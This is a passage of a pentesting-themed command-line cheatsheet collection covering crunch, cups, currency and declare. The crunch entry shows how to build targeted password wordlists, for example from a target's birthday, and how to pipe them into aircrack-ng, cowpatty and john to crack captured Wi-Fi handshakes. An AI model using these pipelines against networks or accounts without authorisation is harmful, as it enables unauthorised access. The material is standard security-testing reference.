php -S 0.0.0.0:80
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

21 - 🖥️crunch

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the crunch command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗██████╗ ██╗   ██╗███╗   ██╗ ██████╗██╗  ██╗
#  ██╔════╝██╔══██╗██║   ██║████╗  ██║██╔════╝██║  ██║
#  ██║     ██████╔╝██║   ██║██╔██╗ ██║██║     ███████║
#  ██║     ██╔══██╗██║   ██║██║╚██╗██║██║     ██╔══██║
#  ╚██████╗██║  ██║╚██████╔╝██║ ╚████║╚██████╗██║  ██║
#   ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝╚═╝  ╚═╝

# crunch

# Password Attacks crunch – Create a wordlist based on criteria you specify
# crunch version 3.5
# Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations. Crunch can create a wordlist based on criteria you specify.  The outout from crunch can be sent to the screen, file, or to another program.

## Features:

		-crunch generates wordlists in both combination and permutation ways
		-it can breakup output by number of lines or file size
		-now has resume support
		-pattern now supports number and symbols
		-pattern now supports upper and lower case characters separately
		-adds a status report when generating multiple files
		-new -l option for literal support of @,%^
		-new -d option to limit duplicate characters see man file for details
		-now has unicode support
Source: http://sourceforge.net/projects/crunch-wordlist/
crunch Homepage 	http://sourceforge.net/projects/crunch-wordlist
Kali crunch Repo	http://git.kali.org/gitweb/?p=packages/crunch.git;a=summary

## Usage: 
# crunch [minimum length] [maximum length] [charset / extra options]
# where min and max are numbers

## Most commonly used options
		-b: The maximum size of the wordlist (along with -o START)
		-c: Numbers of lines in the wordlist (along with -o START)
		-d: Limit the number of duplicate characters
		-f: Specify a list of character sets from the charset.lst file
		-o: Output the wordlist to a file
		-s: Specify a particular string to begin the words with
		-p: Print permutations without repeating characters (cannot be used with -s)
		-z: compress the output wordlist file, accompanied by -o

usage: ./crunch <from-len> <to-len> [-f <path to charset.lst> charset-name] [-o wordlist.txt or START] [-t [FIXED]@@@@] [-s startblock]

# Options:
		-b 					: maximum bytes to write to output file. depending on the blocksize files may be some bytes smaller than specified but never bigger.
		-c 					: numbers of lines to write to output file, only works if "-o START" is used, eg: 60  The output files will be in the format of starting letter - ending letter for example: crunch 1 5 -f /pentest/password/charset.lst mixalpha -o START -c 52 will result in 2 files: a-7.txt and 8-\ .txt  The reason for the slash in the second filename is the ending character is space and ls has to escape it to print it.  Yes you will need to put in the \ when specifying the filename.
		-d          		: specify -d [n][@,%^] to suppress generation of strings with more than [n] adjacent duplicates from the given character set. For example: ./crunch 5 5 -d 2@ Will print all combinations with 2 or less adjacent lowercase duplicates.
		-e          		: tells crunch to stop generating words at string.  Useful when piping crunch to another program.
		-f          		: path to a file containing a list of character sets, eg: charset.lst name of the character set in the above file eg:mixalpha-numeric-all-space
		-i          		: inverts the output so the first character will change very often
		-l          		: literal characters to use in -t @,%^
		-o          		: allows you to specify the file to write the output to, eg: wordlist.txt
		-p          		: prints permutations without repeating characters.  This option CANNOT be used with -s.  It also ignores min and max lengths.
		-q          		: Like the -p option except it reads the strings from the specified file.  It CANNOT be used with -s.  It also ignores min and max.
		-r          		: resume a previous session.  You must use the same command line as the previous session.
		-s          		: allows you to specify the starting string, eg: 03god22fs
		-t [FIXED]@,%^  	: allows you to specify a pattern, eg: @@god@@@@ where the only the @'s will change with lowercase letters the ,'s will change with uppercase letters the %'s will change with numbers the ^'s will change with symbols
		-u          		: The -u option disables the printpercentage thread.  This should be the last option.
		-z          		: adds support to compress the generated output.  Must be used with -o option.  Only supports gzip, bzip, lzma, and 7z.

		

## crunch Usage Example

root@kali:~# crunch 3 7 abcdef
# This example will compute all passwords between 3 and 7 chars using 'abcdef' as the character set and dump it to stdout.

# Generate a dictionary file containing words with a minimum and maximum length of 6 (6 6) using the given characters (0123456789abcdef), saving the output to a file (-0 6chars.txt):

root@kali:~# crunch 6 6 0123456789abcdef -o 6chars.txt
		Crunch will now generate the following amount of data: 117440512 bytes
		112 MB
		0 GB
		0 TB
		0 PB
		Crunch will now generate the following number of lines: 16777216
		

		
root@kali:~# crunch 1 5 abc123 –o wordlist.txt
		-First of all, we specify that we need to cover password length from 1 to 5.
		-The -o [filename] option allowsus to save the wordlist to a text file, in this case wordlist.txt.
		-abc123 are the characters that we want the wordlist to contain.

root@kali:~# crunch 1 5 abc\!\*\( -o wordlist.txt
# When we wish to specify some symbols in our character set, we need to seperate them with \. Crunch then ignores the \ and uses the symbols in between. 

root@kali:~# crunch 4 5 -p abc
# When we use the -p permutation switch, the minimum and maximum password length are ignored because only our character set dictates the number of permutations. Nevertheless they are still needed to satisfy the syntax. The above command will produce ` abc, acb, bac, bca, cab, cba`.

root@kali:~# crunch 4 5 -p xeus hack .com
# Another permutation example, this one specifies individual words instead of a character set. And the output:

root@kali:~# crunch 1 8 abcd1234 –b 15mb –o START
# Sometimes we want to split up the output into smaller files so that it’s easier to manage. Here we’re telling crunch that we want to split up the output into files no more than 5MB each

root@kali:~# crunch 1 5 abc123 –o wordlist.txt -z gzip
# The above command creates our wordlist and then compress it with the gzip algorithm. We can also use the -z option (if we want to output to a file along with -o) to compress the wordlist. Crunch supports gzip, bzip2, lzma, and 7z.

root@kali:~# crunch 5 5 abcde14 -t @@@14 -d 2@ -o syskey.txt -z
# A zipped syskey.txt wordlist starting with "aab14" and ending in "eed14" will be produced from the above. The reason why the start is not "aaa14" is because -d 2@ allows for only 2 duplicate lowercase letters. Adding -i would invert the results, and adding -e dde14 would stop after the line "dde14" (or "41edd" in the case of an inverted output) is produced.

root@kali:~# crunch 5 5 bcopuw2468 -s cow28 -c 33 -b 20mb -o START
# The above will result in a 20mb text file and containing combinations for bcopuw2468 starting with "cow28" and ending on the 33rd line of the theoretical outcome.

root@kali:~# crunch 2 4 -p kite sky car -o owl.txt
# In this example the words 'kite' 'sky' and 'car' will be printed in all orders possible (wholly, not by letter) and outputted into output owl.txt without taking into account the min and max numbers. None of the words will be repeated. If only one word is included, it will will be used as a character set. You could use -q instead of -p to extract words from a specific file.

root@kali:~# crunch 6 6 -t @^42%3 -l a^aaaa -o art.txt
# In this case Crunch will will treat the ^ symbol as itself, rather than a representative of a special character. The sequence will commence with "a^4213" and end in "z^4293" and the output art.txt will be produced.

root@kali:~# crunch 4 6 -f /path/to/charset.lst -o words.txt
# Assume the situation where you enter the above command and then decide to pause the process midway. When you come back later, you may restore the session by adding -r option to the syntax, while keeping the rest exactly the same.

root@kali:~# crunch 10 10 -t @@@@@@0728 -o /root/birthdaywordlist.lst
# If we knew that the target's birthday was July 28 and they likely used that date (people often use their birthdates in their passwords to make it easier to remember) at the end of a ten character password? We could generate all the possibilities of ten-character passwords that end with 0728 and send the output to a file in the root user's directory named birthdaywordlist.lst. The @ sign is use to represent a wildcard of all possibilities, while the literals "0728" represent the fixed values.

root@kali:~# crunch 8 8 -f /usr/share/rainbowcrack/charset.txt mixalpha -o /root/alphawordlist.lst
# Now, if we know that our target is using an eight character password with only alphabetic characters, we can generate a list of all the possibilities in crunch

## crunch Pipes
# We can also pipe the output of crunch into other programs.

# aircrack-ng:
root@kali:~#  crunch 2 6 abc123 | aircrack-ng /root/Mycapfile.cap -e MyESSID -w-

# airolib-ng:
root@kali:~# crunch 5 6 1234 --stdout | airolib-ng testdb -import passwd -

# cowpatty
root@kali:~# crunch 10 10 0123456789 -s 0125700000 -e 0125800000 -u | ./cowpatty -2 -f- -r <cap.file> -s <ESSID> -v

crunch 8 20 -f ~/crunch-3.6/charset.lst mixalpha-numeric-symbol14-space -i |./john --stdin (This accepts crunchs words) --session=stpcrunch --stdout (this then forwards it to aircrack) | aircrack-ng -a 2 -b D0:57:4C:56:D2:30 -w - ~/-01.cap

crunch 8 20 -f ~/crunch-3.6/charset.lst mixalpha-numeric-symbol14-space -i |./john --restore=stpcrunch | aircrack-ng -a 2 -b D0:57:4C:56:D2:30 -w - ~/-01.cap

CRUNCH(1)                                                   General Commands Manual                                                   CRUNCH(1)

NAME
       crunch - generate wordlists from a character set

SYNOPSIS
       crunch <min-len> <max-len> [<charset string>] [options]

DESCRIPTION
       Crunch  can create a wordlist based on criteria you specify.  The output from crunch can be sent to the screen, file, or to another pro‐
       gram.  The required parameters are:

       min-len
              The minimum length string you want crunch to start at.  This option is required even for parameters that won't use the value.

       max-len
              The maximum length string you want crunch to end at.  This option is required even for parameters that won't use the value.

       charset string
              You may specify character sets for crunch to use on the command line or if you leave it blank crunch will use the default charac‐
              ter  sets.   The order MUST BE lower case characters, upper case characters, numbers, and then symbols.  If you don't follow this
              order you will not get the results you want.  You MUST specify either values for the character type or a plus sign.  NOTE: If you
              want  to include the space character in your character set you must escape it using the \ character or enclose your character set
              in quotes i.e. "abc ".  See the examples 3, 11, 12, and 13 for examples.

OPTIONS
       -b number[type]
              Specifies the size of the output file, only works if -o START is used, i.e.: 60MB  The output files will  be  in  the  format  of
              starting letter-ending letter for example: ./crunch 4 5 -b 20mib -o START will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt,
              ombqz-wcydt.txt, wcydu-zzzzz.txt valid values for type are kb, mb, gb, kib, mib, and gib.  The first three  types  are  based  on
              1000  while  the  last  three types are based on 1024.  NOTE There is no space between the number and type.  For example 500mb is
              correct 500 mb is NOT correct.

       -c number
              Specifies the number of lines to write to output file, only works if -o START is used, i.e.: 60  The output files will be in  the
              format  of  starting letter-ending letter for example: ./crunch 1 1 -f /pentest/password/crunch/charset.lst mixalpha-numeric-all-
              space -o START -c 60 will result in 2 files: a-7.txt and 8-\ .txt  The reason for the slash in  the second filename is the ending
              character  is  space and ls has to escape it to print it.  Yes you will need to put in the \ when specifying the filename because
              the last character is a space.

       -d numbersymbol
              Limits the number of duplicate characters.  -d 2@ limits the lower case alphabet to output like aab and aac.  aaa  would  not  be
              generated as that is 3 consecutive letters of a.  The format is number then symbol where number is the maximum number of consecu‐
              tive characters and symbol is the symbol of the the character set you want to limit i.e. @,%^   See examples 17-19.

       -e string
              Specifies when crunch should stop early

       -f /path/to/charset.lst charset-name
              Specifies a character set from the charset.lst

       -i Inverts the output so instead of aaa,aab,aac,aad, etc you get aaa,baa,caa,daa,aba,bba, etc

       -l When you use the -t option this option tells crunch which symbols should be treated as literals.  This will  allow  you  to  use  the
              placeholders as letters in the pattern.  The -l option should be the same length as the -t option.  See example 15.

       -m Merged with -p.  Please use -p instead.

       -o wordlist.txt
              Specifies the file to write the output to, eg: wordlist.txt

       -p charset OR -p word1 word2 ...
              Tells  crunch  to  generate  words  that  don't  have  repeating  characters.  By default crunch will generate a wordlist size of
              #of_chars_in_charset ^ max_length.  This option will instead generate #of_chars_in_charset!.  The ! stands  for  factorial.   For
              example  say  the charset is abc and max length is 4..  Crunch will by default generate 3^4 = 81 words.  This option will instead
              generate 3! = 3x2x1 = 6 words (abc, acb, bac, bca, cab, cba).  THIS MUST BE THE LAST OPTION!  This option CANNOT be used with  -s
              and it ignores min and max length however you must still specify two numbers.

       -q filename.txt
              Tells  crunch  to  read  filename.txt  and  permute what is read.  This is like the -p option except it gets the input from file‐
              name.txt.

       -r Tells crunch to resume generate words from where it left off.  -r only works if you use -o.  You must use the  same  command  as  the
              original  command used to generate the words.  The only exception to this is the -s option.  If your original command used the -s
              option you MUST remove it before you resume the session.  Just add -r to the end of the original command.

       -s startblock
              Specifies a starting string, eg: 03god22fs

       -t @,%^
              Specifies a pattern, eg: @@god@@@@ where the only the @'s, ,'s, %'s, and ^'s will change.
              @ will insert lower case characters
              , will insert upper case characters
              % will insert numbers
              ^ will insert symbols

       -u
              The -u option disables the printpercentage thread.  This should be the last option.

       -z gzip, bzip2, lzma, and 7z
              Compresses the output from the -o option.  Valid parameters are gzip, bzip2, lzma, and 7z.
              gzip is the fastest but the compression is minimal.  bzip2 is a little slower than gzip but has better compression.  7z is  slow‐
              est but has the best compression.

EXAMPLES
       Example 1
       crunch 1 8
       crunch will display a wordlist that starts at a and ends at zzzzzzzz

       Example 2
       crunch 1 6 abcdefg
       crunch will display a wordlist using the character set abcdefg that starts at a and ends at gggggg

       Example 3
       crunch 1 6 abcdefg\
       there  is a space at the end of the character string.  In order for crunch to use the space you will need to escape it using the \ char‐
       acter.  In this example you could also put quotes around the letters and not need the  \,  i.e.  "abcdefg  ".   Crunch  will  display  a
       wordlist using the character set abcdefg  that starts at a and ends at (6 spaces)

       Example 4
       crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt
       crunch  will use the mixalpha-numeric-all-space character set from charset.lst and will write the wordlist to a file named wordlist.txt.
       The file will start with a and end with "        "

       Example 5
       crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa
 crunch should generate a 8 character wordlist using the mixalpha-number-all-space character set from  charset.lst  and  will  write  the
       wordlist to a file named wordlist.txt.  The file will start at cbdogaaa and end at "  dog   "

       Example 6
       crunch 2 3 -f charset.lst ualpha -s BB
       crunch with start generating a wordlist at BB and end with ZZZ.  This is useful if you have to stop generating a wordlist in the middle.
       Just do a tail wordlist.txt and set the -s parameter to the next word in the sequence.  Be sure to rename the original  wordlist  BEFORE
       you begin as crunch will overwrite the existing wordlist.

       Example 7
       crunch 4 5 -p abc
       The numbers aren't processed but are needed.
       crunch will generate abc, acb, bac, bca, cab, cba.

       Example 8
       crunch 4 5 -p dog cat bird
       The numbers aren't processed but are needed.
       crunch will generate birdcatdog, birddogcat, catbirddog, catdogbird, dogbirdcat, dogcatbird.

       Example 9
       crunch 1 5 -o START -c 6000 -z bzip2
       crunch  will  generate  bzip2  compressed  files  with  each  file containing 6000 words.  The filenames of the compressed files will be
       first_word-last_word.txt.bz2

       # time ./crunch 1 4 -o START -c 6000 -z gzip
       real    0m2.729s
       user    0m2.216s
       sys     0m0.360s

       # time ./crunch 1 4 -o START -c 6000 -z bzip2
       real    0m3.414s
       user    0m2.620s
       sys     0m0.580s

       # time ./crunch 1 4 -o START -c 6000 -z lzma
       real    0m43.060s
       user    0m9.965s
       sys     0m32.634s

       size  filename
       30K   aaaa-aiwt.txt
       12K   aaaa-aiwt.txt.gz
       3.8K  aaaa-aiwt.txt.bz2
       1.1K  aaaa-aiwt.txt.lzma

       Example 10
       crunch 4 5 -b 20mib -o START
       will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt
       the first three files are 20MBs (real power of 2 MegaBytes) and the last file is 11MB.

       Example 11
       crunch 3 3 abc + 123 !@# -t @%^
       will generate a 3 character long word with a character as the first character, and number as the second character, and a symbol for  the
       third character.  The order in which you specify the characters you want is important.  You must specify the order as lower case charac‐
       ter, upper case character, number, and symbol.  If you are not going to use a particular character set you use a plus sign  as  a  place‐
       holder.   As  you  can see I am not using the upper case character set so I am using the plus sign placeholder.  The above will start at
       a1! and end at c3#

       Example 12
       crunch 3 3 abc + 123 !@# -t ^%@
       will generate 3 character words starting with !1a and ending with #3c

       Example 13
       crunch 4 4  + + 123 + -t %%@^
       the plus sign (+) is a place holder so you can specify a character set for the character type.  crunch will use  the  default  character
       set  for the character type when crunch encounters a + (plus sign) on the command line.  You must either specify values for each charac‐
       ter type or use the plus sign.  I.E. if you have two characters types you MUST either specify values for each type or use a  plus  sign.
       So in this example the character sets will be:
       abcdefghijklmnopqrstuvwxyz
       ABCDEFGHIJKLMNOPQRSTUVWXYZ
       123
       !@#$%^&*()-_+=~[]{}|\:;"''"<>,.?/
       there is a space at the end of the above string
       the output will start at 11a! and end at "33z ".  The quotes show the space at the end of the string.

       Example 14
       crunch 5 5 -t ddd@@ -o j -p dog cat bird
       any character other than one of the following: @,%^
       is the placeholder for the words to permute.  The @,%^ symbols have the same function as -t.
       If you want to use @,%^ in your output you can use the -l option to specify which character you want crunch to treat as a literal.
       So the results are
       birdcatdogaa
       birdcatdogab
       birdcatdogac
       <skipped>
       dogcatbirdzy
       dogcatbirdzz

       Example 15
       crunch 7 7 -t p@ss,%^ -l a@aaaaa
       crunch will now treat the @ symbol as a literal character and not replace the character with a uppercase letter.
       this will generate
       p@ssA0!
       p@ssA0@
       p@ssA0#
       p@ssA0$
       <skipped>
       p@ssZ9

       Example 16
       crunch 5 5 -s @4#S2 -t @%^,2 -e @8 Q2 -l @dddd -b 10KB -o START
       crunch will generate 5 character strings starting with @4#S2 and ending at @8 Q2.  The output will be broken into 10KB sized files named
       for the files starting and ending strings.

       Example 17
       crunch 5 5 -d 2@ -t @@@%%
       crunch will generate 5 character strings staring with aab00 and ending at zzy99.  Notice that aaa and zzz are not present.

       Example 18
       crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START
       crunch will generate 10 character strings starting with aab!0001!! and ending at zzy 9998    The output will be written to 20mb files.

       Example 19
       crunch 8 8 -d 2@
       crunch will generate 8 characters that limit the same number of lower case characters to 2.  Crunch will start at aabaabaa  and  end  at
       zzyzzyzz.

       Example 20
       crunch 4 4 -f unicode_test.lst japanese -t @@%% -l @xdd
       crunch will load some Japanese characters from the unicode_test character set file.  The output will start at @日00 and end at @語99.

REDIRECTION
       You  can  use  crunch's  output and pipe it into other programs.  The two most popular programs to pipe crunch into are: aircrack-ng and
       airolib-ng.  The syntax is as follows:
       crunch 2 4 abcdefghijklmnopqrstuvwxyz | aircrack-ng /root/Mycapfile.cap -e MyESSID -w-
       crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -

NOTES
       1. Starting in version 2.6 crunch will display how much data is about to be generated.  In 2.7 it will also display how many lines  will
       be  generated.   Crunch will now wait 3 seconds BEFORE it begins generating data to give you time to press Ctrl-C to abort crunch if you
       find the values are too large for your application.

       2. I have added hex-lower (0123456789abcdef) and hex-upper (0123456789ABCDEF) to charset.lst.

       3. Several people have requested that I add support for the space character to crunch.  crunch has always supported the space  character
       on the command line and in the charset.lst.  To add a space on the command line you must escape it using the / character.  See example 3
       for the syntax.  You may need to escape other characters like ! or # depending on your operating system.

       4. Starting in 2.7 if you are generating a file then every 10 seconds you will receive the % done.

       5. Starting in 3.0 I had to change the -t * character to a , as the * is a reserved character.  You could still use it if you put a \ in
       front  of  the  *.   Yes  it  breaks crunch's syntax and I do my best to avoid doing that, but in this instance it is easier to make the
       change for long term support.

       6. Some output is missing.  A file did not get generated.
       The mostly explanation is you ran out of disk space.  If you have verified you have plenty of disk space then the problem is most likely
       the filename begins with a period.  In Linux filenames that begin with a period are hidden.  To view them do a ls -l .*

       7. Crunch says The maximum and minimum length should be the same size as the pattern you specified, however the length is set correctly.
       This  usually  means your pattern contains a character that needs to be escaped. In bash you need to escape the followings: &, *, space,
       \, (, ), |, ', ", ;, <, >.
       The escape character in bash is a \.  So a pattern that has a & and a * in it would look like this:
       crunch 4 4 -t \&\*d@
       An alternative to escaping characters is to wrap your string with quotes.  For example:
       crunch 4 4 -t "&*d@"
       If you want to use the " in your pattern you will need to escape it like this: crunch 4 4 -t "&*\"@"
       Please note that different terminals have different escape characters and probably have different characters that  will  need  escaping.
       Please check the manpage of your terminal for the escape characters and characters that need escaping.

       8. When using the -z 7z option, 7z does not delete the original file.  You will have to delete those files by hand.

AUTHOR
       This manual page was written by [email protected]

       Crunch version 1.0 was written by [email protected]
       all later versions of crunch have been updated by [email protected]

FILES
       None.

BUGS
       If you find any please email bofh28 <[email protected]> or post to http://www.backtrack-linux.org

COPYRIGHT
       Copyright (c) 2009-2013 bofh28 <[email protected]>

       This file is a part of Crunch.

       Crunch  is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the
       Free Software Foundation, version 2 only of the License.

       Crunch is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
       or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.

       You should have received a copy of the GNU General Public License along with Crunch.  If not, see <http://www.gnu.org/licenses/>.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

22 - 🖥️cups

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cups command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗██╗   ██╗██████╗ ███████╗
#                ██╔════╝██║   ██║██╔══██╗██╔════╝
#                ██║     ██║   ██║██████╔╝███████╗
#                ██║     ██║   ██║██╔═══╝ ╚════██║
#                ╚██████╗╚██████╔╝██║     ███████║
#                 ╚═════╝ ╚═════╝ ╚═╝     ╚══════╝
                                                 
                                                
# Manage printers through CUPS:
http://localhost:631 (in web browser)

# Print file from command line
lp myfile.txt

# Display print queue
lpq

# Remove print job from queue
lprm 545
or
lprm -

# Print log location
/var/log/cups

# Reject new jobs
cupsreject printername

# Accept new jobs
cupsaccept printername

#==============================##==============================#
# CMD cups						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

23 - 🖥️currency

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the currency command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗██╗   ██╗██████╗ ██████╗ ███████╗███╗   ██╗ ██████╗██╗   ██╗
#  ██╔════╝██║   ██║██╔══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝╚██╗ ██╔╝
#  ██║     ██║   ██║██████╔╝██████╔╝█████╗  ██╔██╗ ██║██║      ╚████╔╝ 
#  ██║     ██║   ██║██╔══██╗██╔══██╗██╔══╝  ██║╚██╗██║██║       ╚██╔╝  
#  ╚██████╗╚██████╔╝██║  ██║██║  ██║███████╗██║ ╚████║╚██████╗   ██║   
#   ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝ ╚═════╝   ╚═╝   

# Currency (Bash-Snippets)
# A realtime currency converter

# To convert between currencies (guided)
currency

# To convert between currencies (by supplying arguments)
# First argument is base currency second is the currency being exchanged to
currency USD EUR 14.38
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

24 - 🖥️declare

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the declare command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ███████╗ ██████╗██╗      █████╗ ██████╗ ███████╗
#                ██╔══██╗██╔════╝██╔════╝██║     ██╔══██╗██╔══██╗██╔════╝
#                ██║  ██║█████╗  ██║     ██║     ███████║██████╔╝█████╗  
#                ██║  ██║██╔══╝  ██║     ██║     ██╔══██║██╔══██╗██╔══╝  
#                ██████╔╝███████╗╚██████╗███████╗██║  ██║██║  ██║███████╗
#                ╚═════╝ ╚══════╝ ╚═════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝
                                                                        
                                                                       

builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'
# Display all shell functions set in the current shell environment -> Uses the shell builtin `declare` with the '-f' flag to output only functions to grep out only the function names. You can use it as an alias or function like so: 

alias shfunctions="builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'" shfunctions () { builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'; } 

# Show sample output
		# Newlines () 
		# __expand_tilde_by_ref () 
		# __get_cword_at_cursor_by_ref () 
		# __load_completion () 
		# __ltrim_colon_completions () 
		# __parse_options () 
		# __reassemble_comp_words_by_ref () 
		# _adb () 
		# _allowed_groups () 
		# _allowed_users () 
		# _android () 
		# _arg_index () 
		# _available_interfaces () 
		# _before () 
		# _branch_completion () 
		# _cd () 
		# _cd_devices () 
		# _cdsitepackages_complete () 
		# _cdvirtualenv_complete () 
		# _cmp_opts () 
		# _command () 
		# _command_completion () 
		# _command_offset () 
		# _complete_as_root () 
		# _completion_loader () 
		# _configured_interfaces () 
		# _count_args () 
		# _dir_completion () 
		# _dvd_devices () 
		# _emulator () 
		# _expand () 
		# _expects_arg () 
		# _fastboot () 
		# _filedir () 
		# _filedir_xspec () 
		# _find_repo () 
		# _fstypes () 
		# _gen_comps () 
		# _get_comp_words_by_ref () 
		# _get_cword () 
		# _get_first_arg () 
		# _get_pword () 
		# _gids () 
		# _handle_options () 
		# _have () 
		# _included_ssh_config_files () 
		# _init_completion () 
		# _init_cur_prev () 
		# _installed_modules () 
		# _ip_addresses () 
		# _is_known_longopt () 
		# _is_known_shortopt () 
		# _is_long_option () 
		# _is_option () 
		# _is_repo_dir () 
		# _kernel_versions () 
		# _known_hosts () 
		# _known_hosts_real () 
		# _longopt () 
		# _lsvirtualenv_usage () 
		# _mac_addresses () 
		# _manifest_completion () 
		# _minimal () 
		# _modules () 
		# _ncpus () 
		# _no_completion () 
		# _parse_help () 
		# _parse_usage () 
		# _path_cmd_completion () 
		# _pci_ids () 
		# _pgids () 
		# _pids () 
		# _pnames () 
		# _project_completion () 
		# _quote_readline_by_ref () 
		# _rbenv () 
		# _realcommand () 
		# _repo () 
		# _repo_abandon () 
		# _repo_branch () 
		# _repo_branches () 
		# _repo_checkout () 
		# _repo_cherry_pick () 
		# _repo_diff () 
		# _repo_download () 
		# _repo_forall () 
		# _repo_grep () 
		# _repo_help () 
		# _repo_init () 
		# _repo_list () 
		# _repo_prune () 
		# _repo_rebase () 
		# _repo_selfupdate () 
